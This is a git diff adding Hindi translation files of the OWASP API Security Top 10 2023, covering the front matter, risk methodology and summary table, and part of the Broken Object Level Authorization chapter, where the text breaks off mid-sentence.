diff --git a/editions/2023/hi/0x00-header.md b/editions/2023/hi/0x00-header.md new file mode 100644 index 000000000..29c34cca7 --- /dev/null +++ b/editions/2023/hi/0x00-header.md @@ -0,0 +1,12 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | यह कार्य [Creative Commons Attribution-ShareAlike 4.0 International License][1] के अंतर्गत लाइसेंस प्राप्त है | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/hi/0x00-notice.md b/editions/2023/hi/0x00-notice.md new file mode 100644 index 000000000..32e293607 --- /dev/null +++ b/editions/2023/hi/0x00-notice.md @@ -0,0 +1,13 @@ +# सूचना + +यह OWASP API Security Top 10 का टेक्स्ट संस्करण है, जो इस दस्तावेज़ के सभी +आधिकारिक रूपों — जैसे वेबसाइट — के लिए स्रोत का काम करता है। + +प्रोजेक्ट में योगदान — जैसे टिप्पणियाँ, सुधार या अनुवाद — यहीं किए जाने चाहिए। +[योगदान कैसे करें][1] की जानकारी के लिए [CONTRIBUTING.md][1] देखें। + +* Erez Yalon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/hi/0x00-toc.md b/editions/2023/hi/0x00-toc.md new file mode 100644 index 000000000..d896f4a85 --- /dev/null +++ b/editions/2023/hi/0x00-toc.md @@ -0,0 +1,23 @@ +# विषय-सूची + +* [विषय-सूची](0x00-toc.md) +* [OWASP के बारे में](0x01-about-owasp.md) +* [प्राक्कथन](0x02-foreword.md) +* [परिचय](0x03-introduction.md) +* [रिलीज़ नोट्स](0x04-release-notes.md) +* [API सुरक्षा जोखिम](0x10-api-security-risks.md) +* [OWASP Top 10 API सुरक्षा जोखिम – 2023](0x11-t10.md) +* [API1:2023 ब्रोकन ऑब्जेक्ट लेवल ऑथराइज़ेशन](0xa1-broken-object-level-authorization.md) +* [API2:2023 ब्रोकन ऑथेंटिकेशन](0xa2-broken-authentication.md) +* [API3:2023 ब्रोकन ऑब्जेक्ट प्रॉपर्टी लेवल ऑथराइज़ेशन](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 अनरेस्ट्रिक्टेड रिसोर्स कंज़म्पशन](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 ब्रोकन फ़ंक्शन लेवल ऑथराइज़ेशन](0xa5-broken-function-level-authorization.md) +* [API6:2023 अनरेस्ट्रिक्टेड एक्सेस टू सेंसिटिव बिज़नेस फ़्लोज़](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 सर्वर साइड रिक्वेस्ट फ़ोर्जरी](0xa7-server-side-request-forgery.md) +* [API8:2023 सिक्योरिटी मिसकॉन्फ़िगरेशन](0xa8-security-misconfiguration.md) +* [API9:2023 इम्प्रॉपर इन्वेंटरी मैनेजमेंट](0xa9-improper-inventory-management.md) +* [API10:2023 अनसेफ़ कंज़म्पशन ऑफ़ APIs](0xaa-unsafe-consumption-of-apis.md) +* [डेवलपर्स के लिए आगे क्या](0xb0-next-devs.md) +* [DevSecOps के लिए आगे क्या](0xb1-next-devsecops.md) +* [कार्यप्रणाली और डेटा](0xd0-about-data.md) +* [आभार](0xd1-acknowledgments.md) diff --git a/editions/2023/hi/0x01-about-owasp.md b/editions/2023/hi/0x01-about-owasp.md new file mode 100644 index 000000000..038f6c63a --- /dev/null +++ b/editions/2023/hi/0x01-about-owasp.md @@ -0,0 +1,60 @@ +# OWASP के बारे में + +Open Worldwide Application Security Project (OWASP) एक खुला समुदाय है, जो +संगठनों को ऐसे एप्लिकेशन और API विकसित करने, खरीदने और बनाए रखने में सक्षम +बनाने के लिए समर्पित है जिन पर भरोसा किया जा सके। + +OWASP में आपको निःशुल्क और खुले रूप में ये सब मिलेगा: + +* एप्लिकेशन सुरक्षा (Application Security) के टूल्स और मानक। +* एप्लिकेशन सुरक्षा परीक्षण, सुरक्षित कोड विकास और सुरक्षित कोड समीक्षा + (secure code review) पर पूरी किताबें। +* प्रेजेंटेशन और [वीडियो][1]। +* कई आम विषयों पर [चीट शीट्स][2]। +* मानक सुरक्षा नियंत्रण (security controls) और लाइब्रेरी। +* [दुनिया भर में फैले स्थानीय चैप्टर][3]। +* अत्याधुनिक शोध। +* [दुनिया भर में होने वाले प्रमुख कॉन्फ़्रेंस][4]। +* [मेलिंग लिस्ट][5] ([संग्रह][6])। + +अधिक जानकारी यहाँ पाएँ: [https://www.owasp.org][7]। + +OWASP के सभी टूल्स, दस्तावेज़, वीडियो, प्रेजेंटेशन और चैप्टर उन सभी लोगों के +लिए निःशुल्क और खुले हैं जो एप्लिकेशन सुरक्षा को बेहतर बनाने में रुचि रखते हैं। + +हमारा मानना है कि एप्लिकेशन सुरक्षा को लोगों, प्रक्रिया और तकनीक की समस्या के +रूप में देखा जाना चाहिए, क्योंकि इस क्षेत्र के सबसे कारगर उपाय इन्हीं तीनों में +सुधार पर निर्भर करते हैं। + +OWASP एक नए किस्म का संगठन है। व्यापारिक दबावों से मुक्त होने के कारण ही हम +एप्लिकेशन सुरक्षा के बारे में निष्पक्ष, व्यावहारिक और किफ़ायती जानकारी दे पाते +हैं। + +OWASP किसी भी तकनीकी कंपनी से संबद्ध नहीं है, हालाँकि हम व्यावसायिक सुरक्षा +तकनीक के समझदारी भरे उपयोग का समर्थन करते हैं। OWASP कई तरह की सामग्री +सहयोगात्मक, पारदर्शी और खुले तरीके से तैयार करता है। + +OWASP Foundation वह गैर-लाभकारी संस्था है जो इस प्रोजेक्ट की दीर्घकालिक +सफलता सुनिश्चित करती है। OWASP से जुड़े लगभग सभी लोग स्वयंसेवक हैं, जिनमें +OWASP बोर्ड, चैप्टर लीडर, प्रोजेक्ट लीडर और प्रोजेक्ट सदस्य शामिल हैं। हम +नई सुरक्षा शोध को अनुदान (grants) और इंफ़्रास्ट्रक्चर का सहयोग देते हैं। + +आइए, हमसे जुड़िए! + +## कॉपीराइट और लाइसेंस + +![license](images/license.png) + +कॉपीराइट © 2003-2023 The OWASP Foundation। यह दस्तावेज़ [Creative Commons +Attribution Share-Alike 4.0 license][8] के अंतर्गत जारी किया गया है। किसी भी +पुनः उपयोग या वितरण के लिए, आपको दूसरों को इस कार्य की लाइसेंस शर्तें स्पष्ट +रूप से बतानी होंगी। + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/hi/0x02-foreword.md b/editions/2023/hi/0x02-foreword.md new file mode 100644 index 000000000..173571eff --- /dev/null +++ b/editions/2023/hi/0x02-foreword.md @@ -0,0 +1,45 @@ +# प्राक्कथन + +आज की ऐप-संचालित दुनिया में नवाचार का एक बुनियादी तत्व है एप्लिकेशन +प्रोग्रामिंग इंटरफ़ेस (Application Programming Interface, API)। बैंक, रिटेल और +परिवहन से लेकर IoT, स्वचालित वाहनों और स्मार्ट सिटी तक, API आधुनिक मोबाइल, +SaaS और वेब एप्लिकेशन के बेहद अहम हिस्से हैं — ये ग्राहकों, पार्टनर्स और +आंतरिक टीमों के लिए बने हर तरह के एप्लिकेशन में पाए जाते हैं। + +अपने स्वभाव से ही API, एप्लिकेशन लॉजिक और संवेदनशील डेटा — जैसे व्यक्तिगत +पहचान जानकारी (Personally Identifiable Information, PII) — को उजागर +करते हैं, और इसी वजह से API लगातार हमलावरों (attackers) का निशाना बनते जा रहे +हैं। सुरक्षित API के बिना तेज़ रफ़्तार नवाचार असंभव होगा। + +हालाँकि वेब एप्लिकेशन सुरक्षा जोखिमों की एक व्यापक Top 10 सूची अब भी प्रासंगिक +है, फिर भी API की विशिष्ट प्रकृति के कारण API-विशिष्ट सुरक्षा जोखिमों (security +risks) की अलग सूची ज़रूरी है। API सुरक्षा उन रणनीतियों और समाधानों पर केंद्रित +है जिनसे API से जुड़ी अनोखी भेद्यताओं (vulnerabilities) और सुरक्षा जोखिमों को +समझा और कम किया जा सके। + +अगर आप [OWASP Top 10 Project][1] से परिचित हैं, तो आपको दोनों दस्तावेज़ों में +समानताएँ दिखेंगी: दोनों इस तरह तैयार किए गए हैं कि इन्हें आसानी से पढ़ा और +अपनाया जा सके। अगर आप OWASP Top 10 श्रृंखला के लिए नए हैं, तो सीधे Top 10 +सूची में कूदने से पहले [API सुरक्षा जोखिम (API Security Risks)][2] और +[कार्यप्रणाली और डेटा (Methodology and Data)][3] अनुभाग पढ़ लेना आपके लिए बेहतर +होगा। + +OWASP API Security Top 10 में योगदान देने के लिए अपने सवाल, सुझाव और विचार +हमारे GitHub रिपॉज़िटरी पर साझा करें: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +OWASP API Security Top 10 आपको यहाँ मिलेगा: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +जिन योगदानकर्ताओं के प्रयास से यह प्रोजेक्ट संभव हुआ, उन सभी का हम शुक्रिया +अदा करते हैं। उन सभी के नाम [आभार (Acknowledgments) अनुभाग][4] में +दिए गए हैं। धन्यवाद! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/hi/0x03-introduction.md b/editions/2023/hi/0x03-introduction.md new file mode 100644 index 000000000..6362d10d9 --- /dev/null +++ b/editions/2023/hi/0x03-introduction.md @@ -0,0 +1,58 @@ +# परिचय + +## OWASP API Security Top 10 - 2023 में आपका स्वागत है! + +OWASP API Security Top 10 के दूसरे संस्करण में आपका स्वागत है! + +यह जागरूकता दस्तावेज़ पहली बार 2019 में प्रकाशित हुआ था। तब से API सुरक्षा +उद्योग फला-फूला है और अधिक परिपक्व हो गया है। हमारा पक्का मानना है कि इस कार्य +ने उसमें सकारात्मक योगदान दिया है, क्योंकि उद्योग ने इसे बहुत जल्दी एक मानक संदर्भ (reference) के रूप में अपनाया। + +आधुनिक एप्लिकेशन आर्किटेक्चर में API की बहुत महत्वपूर्ण भूमिका है। लेकिन चूँकि +नवाचार की गति सुरक्षा जागरूकता की गति से हमेशा आगे रहती है, हमें लगता +है कि आम API सुरक्षा कमज़ोरियों (weaknesses) के बारे में जागरूकता फैलाने पर +ध्यान देना ज़रूरी है। + +OWASP API Security Top 10 का मुख्य उद्देश्य API के विकास और रखरखाव से जुड़े +लोगों को जागरूक करना है — जैसे डेवलपर्स, डिज़ाइनर, आर्किटेक्ट, मैनेजर और संगठन। +API Security Project के बारे में अधिक जानने के लिए [प्रोजेक्ट पेज][1] देखें। + +अगर आप OWASP top 10 श्रृंखला से परिचित नहीं हैं, तो हम सुझाव देते हैं कि आप कम +से कम इन top 10 प्रोजेक्ट्स को देख लें: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +इनमें से कोई भी प्रोजेक्ट किसी दूसरे की जगह नहीं लेता: अगर आप किसी बैक-एंड API +से चलने वाले मोबाइल एप्लिकेशन पर काम कर रहे हैं, तो आपके लिए दोनों संबंधित top +10 पढ़ना बेहतर होगा। यही बात तब भी लागू होती है जब आप API से चलने वाले किसी वेब +या डेस्कटॉप एप्लिकेशन पर काम कर रहे हों। + +[कार्यप्रणाली और डेटा (Methodology and Data)][13] अनुभाग में आप इस बारे में और +पढ़ सकते हैं कि यह संस्करण कैसे तैयार किया गया। फ़िलहाल, हम सभी से अनुरोध करते हैं कि अपने सवाल, सुझाव और विचार हमारे +[GitHub रिपॉज़िटरी][14] या [मेलिंग लिस्ट][15] पर साझा करके योगदान दें। + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/hi/0x04-release-notes.md b/editions/2023/hi/0x04-release-notes.md new file mode 100644 index 000000000..bf65a214a --- /dev/null +++ b/editions/2023/hi/0x04-release-notes.md @@ -0,0 +1,48 @@ +# रिलीज़ नोट्स + +यह OWASP API Security Top 10 का दूसरा संस्करण है, जो इसकी पहली रिलीज़ के ठीक +चार साल बाद आया है। API (सुरक्षा) के परिदृश्य में बहुत कुछ बदल चुका है। API +ट्रैफ़िक तेज़ रफ़्तार से बढ़ा है, कुछ API प्रोटोकॉल को काफ़ी ज़्यादा लोकप्रियता +मिली है, API सुरक्षा के कई नए वेंडर/समाधान सामने आए हैं, और ज़ाहिर है, +हमलावरों (attackers) ने भी API को भेदने के लिए नए कौशल और तकनीकें विकसित कर ली +हैं। दस सबसे गंभीर API सुरक्षा जोखिमों की सूची को अपडेट करने का समय आ चुका था। + +API सुरक्षा उद्योग के अधिक परिपक्व हो जाने के साथ, पहली बार [डेटा के लिए +सार्वजनिक आह्वान][1] किया गया। अफ़सोस, योगदान में कोई डेटा नहीं मिला, लेकिन +प्रोजेक्ट टीम के अनुभव, API सुरक्षा विशेषज्ञों की सावधानीपूर्वक समीक्षा और +रिलीज़ कैंडिडेट पर मिली समुदाय की प्रतिक्रिया के आधार पर हमने यह नई सूची तैयार +की। [कार्यप्रणाली और डेटा (Methodology and Data) अनुभाग][2] में इस संस्करण के +बनने की पूरी प्रक्रिया मिलेगी। सुरक्षा जोखिमों की विस्तृत जानकारी के लिए +[API सुरक्षा जोखिम (API Security Risks) अनुभाग][3] देखें। + +OWASP API Security Top 10 2023 एक तेज़ रफ़्तार उद्योग के लिए भविष्य को ध्यान +में रखकर बनाया गया जागरूकता दस्तावेज़ है। यह दूसरे TOP 10 की जगह नहीं लेता। इस +संस्करण में: + +* हमने Excessive Data Exposure और Mass Assignment को मिला दिया है और इनके साझा + मूल कारण पर ध्यान केंद्रित किया है: ऑब्जेक्ट प्रॉपर्टी लेवल प्राधिकरण + (object property level authorization) सत्यापन की विफलताएँ। +* हमने संसाधन खपत (resource consumption) पर अधिक ज़ोर दिया है — यह देखने की + बजाय कि वे किस रफ़्तार से खत्म होते हैं। +* हमने नए खतरों (threats) से निपटने के लिए एक नई श्रेणी "Unrestricted Access to + Sensitive Business Flows" बनाई है, जिनमें वे अधिकांश खतरे भी शामिल हैं जिन्हें + रेट लिमिटिंग (rate limiting) से कम किया जा सकता है। +* हमने "Unsafe Consumption of APIs" जोड़ा है — जो नया चलन हमें दिखने लगा उसे + उजागर करने के लिए: हमलावर अब अपने लक्ष्य के API पर सीधे हमला करने की बजाय, + उससे जुड़ी (integrated) सेवाओं को निशाना बनाने लगे हैं। इस बढ़ते जोखिम पर + अभी से ध्यान देना ज़रूरी है। + +आधुनिक माइक्रोसर्विसेज़ आर्किटेक्चर, सिंगल पेज एप्लिकेशन (Single Page +Applications, SPAs), मोबाइल ऐप्स, IoT आदि में API की भूमिका लगातार और अधिक +महत्वपूर्ण होती जा रही है। आधुनिक API सुरक्षा समस्याओं के बारे में जागरूकता +फैलाने के लिए OWASP API Security Top 10 एक ज़रूरी प्रयास है। + +यह अपडेट कई स्वयंसेवकों के ज़बरदस्त प्रयास से ही संभव हो पाया, जिनके नाम +[आभार (Acknowledgments)][4] अनुभाग में दिए गए हैं। + +धन्यवाद! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/hi/0x10-api-security-risks.md b/editions/2023/hi/0x10-api-security-risks.md new file mode 100644 index 000000000..7eaf687be --- /dev/null +++ b/editions/2023/hi/0x10-api-security-risks.md @@ -0,0 +1,48 @@ +# API सुरक्षा जोखिम + +जोखिम विश्लेषण करने के लिए [OWASP जोखिम रेटिंग कार्यप्रणाली (OWASP Risk Rating +Methodology)][1] का उपयोग किया गया। + +नीचे दी गई तालिका जोखिम स्कोर से जुड़ी शब्दावली का सारांश देती है। + +| खतरे के कारक | शोषण क्षमता | कमज़ोरी की व्यापकता | कमज़ोरी की पहचान क्षमता | तकनीकी प्रभाव | व्यावसायिक प्रभाव | +| :-: | :-: | :-: | :-: | :-: | :-: | +| API-विशिष्ट | आसान: **3** | व्यापक **3** | आसान **3** | गंभीर **3** | व्यवसाय-विशिष्ट | +| API-विशिष्ट | औसत: **2** | सामान्य **2** | औसत **2** | मध्यम **2** | व्यवसाय-विशिष्ट | +| API-विशिष्ट | कठिन: **1** | कठिन **1** | कठिन **1** | मामूली **1** | व्यवसाय-विशिष्ट | + +**ध्यान दें (Note)**: यह तरीका खतरे के कारक की संभावना (likelihood) को ध्यान +में नहीं रखता। न ही यह आपके किसी विशेष एप्लिकेशन से जुड़े विभिन्न तकनीकी +विवरणों को ध्यान में रखता है। इनमें से कोई भी कारक किसी हमलावर द्वारा किसी विशेष +भेद्यता को खोजने और उसका शोषण करने की कुल संभावना को काफ़ी प्रभावित कर सकता है। +यह रेटिंग आपके व्यवसाय पर पड़ने वाले वास्तविक प्रभाव को ध्यान में नहीं रखती। +आपके संगठन को यह तय करना होगा कि अपनी संस्कृति, उद्योग और नियामक परिवेश को +देखते हुए वह एप्लिकेशन और API से जुड़ा कितना सुरक्षा जोखिम उठाने को +तैयार है। OWASP API Security Top 10 का उद्देश्य आपके लिए यह जोखिम विश्लेषण करना +नहीं है। चूँकि यह संस्करण डेटा-संचालित (data-driven) नहीं है, इसलिए व्यापकता के +परिणाम टीम के सदस्यों की आपसी सहमति पर आधारित हैं। + +## संदर्भ + +### OWASP + +* [OWASP जोखिम रेटिंग कार्यप्रणाली (OWASP Risk Rating Methodology)][1] +* [खतरा/जोखिम मॉडलिंग पर लेख (Article on Threat/Risk Modeling)][2] + +### बाहरी + +* [ISO 31000: जोखिम प्रबंधन मानक (Risk Management Std)][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft थ्रेट मॉडलिंग टूल (Microsoft Threat Modeling Tool)][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/hi/0x11-t10.md b/editions/2023/hi/0x11-t10.md new file mode 100644 index 000000000..f805cb2c0 --- /dev/null +++ b/editions/2023/hi/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP शीर्ष 10 API सुरक्षा जोखिम – 2023 + +| जोखिम | विवरण | +| ---- | ----------- | +| [API1:2023 - ब्रोकन ऑब्जेक्ट लेवल ऑथराइजेशन (Broken Object Level Authorization)][api1] | API आमतौर पर ऐसे एंडपॉइंट उजागर करते हैं जो ऑब्जेक्ट पहचानकर्ताओं को हैंडल करते हैं, जिससे ऑब्जेक्ट लेवल अभिगम नियंत्रण (Object Level Access Control) की समस्याओं की एक बड़ी हमले की सतह (attack surface) बन जाती है। हर उस फ़ंक्शन में जो उपयोगकर्ता से मिली ID से किसी डेटा स्रोत तक पहुँचता है, ऑब्जेक्ट लेवल प्राधिकरण जाँच लागू की जानी चाहिए। | +| [API2:2023 - ब्रोकन ऑथेंटिकेशन (Broken Authentication)][api2] | प्रमाणीकरण तंत्र अक्सर गलत तरीके से लागू किए जाते हैं, जिससे हमलावर प्रमाणीकरण टोकन से समझौता कर सकते हैं या कार्यान्वयन की खामियों का फ़ायदा उठाकर अस्थायी या स्थायी रूप से दूसरे उपयोगकर्ता का रूप धर सकते हैं। जब सिस्टम की क्लाइंट/उपयोगकर्ता पहचान क्षमता कमज़ोर पड़ती है, तो पूरी API सुरक्षा खतरे में पड़ जाती है। | +| [API3:2023 - ब्रोकन ऑब्जेक्ट प्रॉपर्टी लेवल ऑथराइजेशन (Broken Object Property Level Authorization)][api3] | यह श्रेणी [API3:2019 एक्सेसिव डेटा एक्सपोज़र (Excessive Data Exposure)][1] और [API6:2019 - मास असाइनमेंट (Mass Assignment)][2] को एक साथ मिलाती है, और मूल कारण पर ध्यान केंद्रित करती है: ऑब्जेक्ट प्रॉपर्टी स्तर पर प्राधिकरण सत्यापन का अभाव या उसका अनुचित होना। इससे अनधिकृत पक्षों द्वारा जानकारी उजागर हो जाती है या उसमें छेड़छाड़ की जाती है। | +| [API4:2023 - अनरेस्ट्रिक्टेड रिसोर्स कंज़म्पशन (Unrestricted Resource Consumption)][api4] | API अनुरोधों को पूरा करने के लिए नेटवर्क बैंडविड्थ, CPU, मेमोरी और स्टोरेज जैसे संसाधनों की ज़रूरत होती है। ईमेल/SMS/फ़ोन कॉल या बायोमेट्रिक सत्यापन जैसे अन्य संसाधन सेवा प्रदाताओं द्वारा API एकीकरण के ज़रिए उपलब्ध कराए जाते हैं, और उनका भुगतान प्रति अनुरोध के हिसाब से होता है। सफल हमलों से सेवा से इनकार (Denial of Service) या परिचालन लागत में बढ़ोतरी हो सकती है। | +| [API5:2023 - ब्रोकन फ़ंक्शन लेवल ऑथराइजेशन (Broken Function Level Authorization)][api5] | अलग-अलग पदानुक्रमों, समूहों और भूमिकाओं वाली जटिल अभिगम नियंत्रण नीतियाँ, और प्रशासनिक तथा सामान्य फ़ंक्शनों के बीच अस्पष्ट विभाजन, आमतौर पर प्राधिकरण की खामियों की वजह बनते हैं। इन समस्याओं का शोषण करके हमलावर दूसरे उपयोगकर्ताओं के संसाधनों और/या प्रशासनिक फ़ंक्शनों तक पहुँच पा सकते हैं। | +| [API6:2023 - अनरेस्ट्रिक्टेड एक्सेस टू सेंसिटिव बिज़नेस फ़्लोज़ (Unrestricted Access to Sensitive Business Flows)][api6] | इस जोखिम के प्रति भेद्य API किसी व्यावसायिक प्रवाह (business flow) को उजागर कर देते हैं - जैसे टिकट खरीदना या कोई टिप्पणी पोस्ट करना - बिना इस बात की भरपाई किए कि अगर उस कार्यक्षमता का स्वचालित तरीके से अत्यधिक उपयोग किया जाए तो वह व्यवसाय को कैसे नुकसान पहुँचा सकती है। इसका कारण ज़रूरी नहीं कि कोई कार्यान्वयन बग हो। | +| [API7:2023 - सर्वर साइड रिक्वेस्ट फ़ोर्जरी (Server Side Request Forgery)][api7] | सर्वर-साइड रिक्वेस्ट फ़ोर्जरी (SSRF) की खामियाँ तब हो सकती हैं जब कोई API उपयोगकर्ता द्वारा दिए गए URI का सत्यापन किए बिना किसी दूरस्थ संसाधन को ला रहा हो। इससे हमलावर एप्लिकेशन को मजबूर कर सकता है कि वह किसी अनपेक्षित गंतव्य पर गढ़ा हुआ अनुरोध भेजे, चाहे वह फ़ायरवॉल या VPN से सुरक्षित हो। | +| [API8:2023 - सिक्योरिटी मिसकॉन्फ़िगरेशन (Security Misconfiguration)][api8] | API और उनका समर्थन करने वाले सिस्टम में आमतौर पर जटिल कॉन्फ़िगरेशन होते हैं, जिनका मकसद API को ज़्यादा अनुकूलन-योग्य बनाना होता है। सॉफ़्टवेयर और DevOps इंजीनियर इन कॉन्फ़िगरेशन को चूक सकते हैं, या कॉन्फ़िगरेशन के मामले में सुरक्षा की सर्वोत्तम प्रथाओं का पालन नहीं करते, जिससे विभिन्न प्रकार के हमलों के लिए दरवाज़ा खुल जाता है। | +| [API9:2023 - इम्प्रॉपर इन्वेंटरी मैनेजमेंट (Improper Inventory Management)][api9] | API पारंपरिक वेब एप्लिकेशन की तुलना में अधिक एंडपॉइंट उजागर करते हैं, जिससे सही और अद्यतन दस्तावेज़ीकरण बहुत महत्वपूर्ण हो जाता है। होस्ट्स और तैनात API संस्करणों की सटीक इन्वेंटरी भी ज़रूरी है, ताकि अप्रचलित (deprecated) API संस्करणों और उजागर डीबग एंडपॉइंट जैसी समस्याओं से बचा जा सके। | +| [API10:2023 - अनसेफ़ कंज़म्पशन ऑफ़ APIs (Unsafe Consumption of APIs)][api10] | डेवलपर्स आमतौर पर तीसरे पक्ष के API से मिले डेटा पर उपयोगकर्ता इनपुट से ज़्यादा भरोसा करते हैं, और इसलिए कमज़ोर सुरक्षा मानक अपना लेते हैं। API को भेदने के लिए हमलावर लक्षित API पर सीधे हमला करने के बजाय उससे जुड़ी तीसरे पक्ष की सेवाओं को निशाना बनाते हैं। | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/hi/0xa1-broken-object-level-authorization.md b/editions/2023/hi/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..c93fd276b --- /dev/null +++ b/editions/2023/hi/0xa1-broken-object-level-authorization.md @@ -0,0 +1,113 @@ +# API1:2023 ब्रोकन ऑब्जेक्ट लेवल ऑथराइजेशन + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **व्यापक** : पहचान क्षमता **आसान** | तकनीकी **मध्यम** : व्यवसाय-विशिष्ट | +| जो API एंडपॉइंट ऑब्जेक्ट-लेवल प्राधिकरण (object-level authorization) की खामी से ग्रस्त हैं, हमलावर अनुरोध में भेजी गई ऑब्जेक्ट ID में छेड़छाड़ करके उनका शोषण कर सकते हैं। ऑब्जेक्ट ID क्रमिक पूर्णांक, UUID, या सामान्य स्ट्रिंग — कुछ भी हो सकती हैं। डेटा प्रकार चाहे जो हो, इन्हें अनुरोध के पथ (path या query string पैरामीटर), हेडर, या पेलोड में भी आसानी से पहचाना जा सकता है। | यह समस्या API-आधारित एप्लिकेशन में बेहद आम है, क्योंकि सर्वर घटक आमतौर पर क्लाइंट की स्थिति (state) पूरी तरह ट्रैक नहीं करता — वह किन ऑब्जेक्ट तक पहुँचना है, यह तय करने के लिए क्लाइंट से आए ऑब्जेक्ट ID जैसे पैरामीटरों पर ज़्यादा निर्भर रहता है। सर्वर की प्रतिक्रिया देखकर आमतौर पर समझा जा सकता है कि अनुरोध सफल रहा या नहीं। | दूसरे उपयोगकर्ताओं के ऑब्जेक्ट तक बिना अनुमति पहुँचने से डेटा का प्रकटीकरण, नुकसान, या छेड़छाड़ हो सकती है। कुछ परिस्थितियों में यह पूर्ण खाता अधिग्रहण (account takeover) तक भी जा सकता है। | + +## क्या API भेद्य है? + +ऑब्जेक्ट लेवल प्राधिकरण एक अभिगम नियंत्रण (access control) तंत्र है, जो आमतौर +पर कोड स्तर पर लागू किया जाता है, ताकि यह सुनिश्चित किया जा सके कि उपयोगकर्ता +केवल उन्हीं ऑब्जेक्ट तक पहुँच सके जिनकी उसे अनुमति है। + +हर वह API एंडपॉइंट जो किसी ऑब्जेक्ट की ID प्राप्त करता है और उस पर कोई कार्रवाई +करता है, उसे ऑब्जेक्ट-लेवल प्राधिकरण जाँच लागू करनी चाहिए। इन जाँचों से यह +सत्यापित होना चाहिए कि लॉग-इन उपयोगकर्ता के पास अनुरोधित ऑब्जेक्ट पर +अनुरोधित कार्रवाई करने की अनुमति है। + +इस तंत्र में विफलताएँ आमतौर पर अनधिकृत जानकारी प्रकटीकरण, डेटा में फेरबदल, या +सारे डेटा के नष्ट होने की वजह बनती हैं। + +वर्तमान सत्र की उपयोगकर्ता ID को (जैसे, JWT टोकन से निकालकर) भेद्य ID पैरामीटर +से मिलाना BOLA का पर्याप्त समाधान नहीं है। यह तरीका मामलों के केवल एक छोटे +हिस्से को ही संभाल सकता है। + +BOLA में, डिज़ाइन के हिसाब से उपयोगकर्ता को भेद्य API एंडपॉइंट/फ़ंक्शन तक +पहुँच मिलती ही है। उल्लंघन ऑब्जेक्ट स्तर पर होता है, ID में +छेड़छाड़ करके। अगर कोई हमलावर किसी ऐसे API एंडपॉइंट/फ़ंक्शन तक पहुँच बना लेता +है जिस तक उसकी पहुँच नहीं होनी चाहिए - तो यह 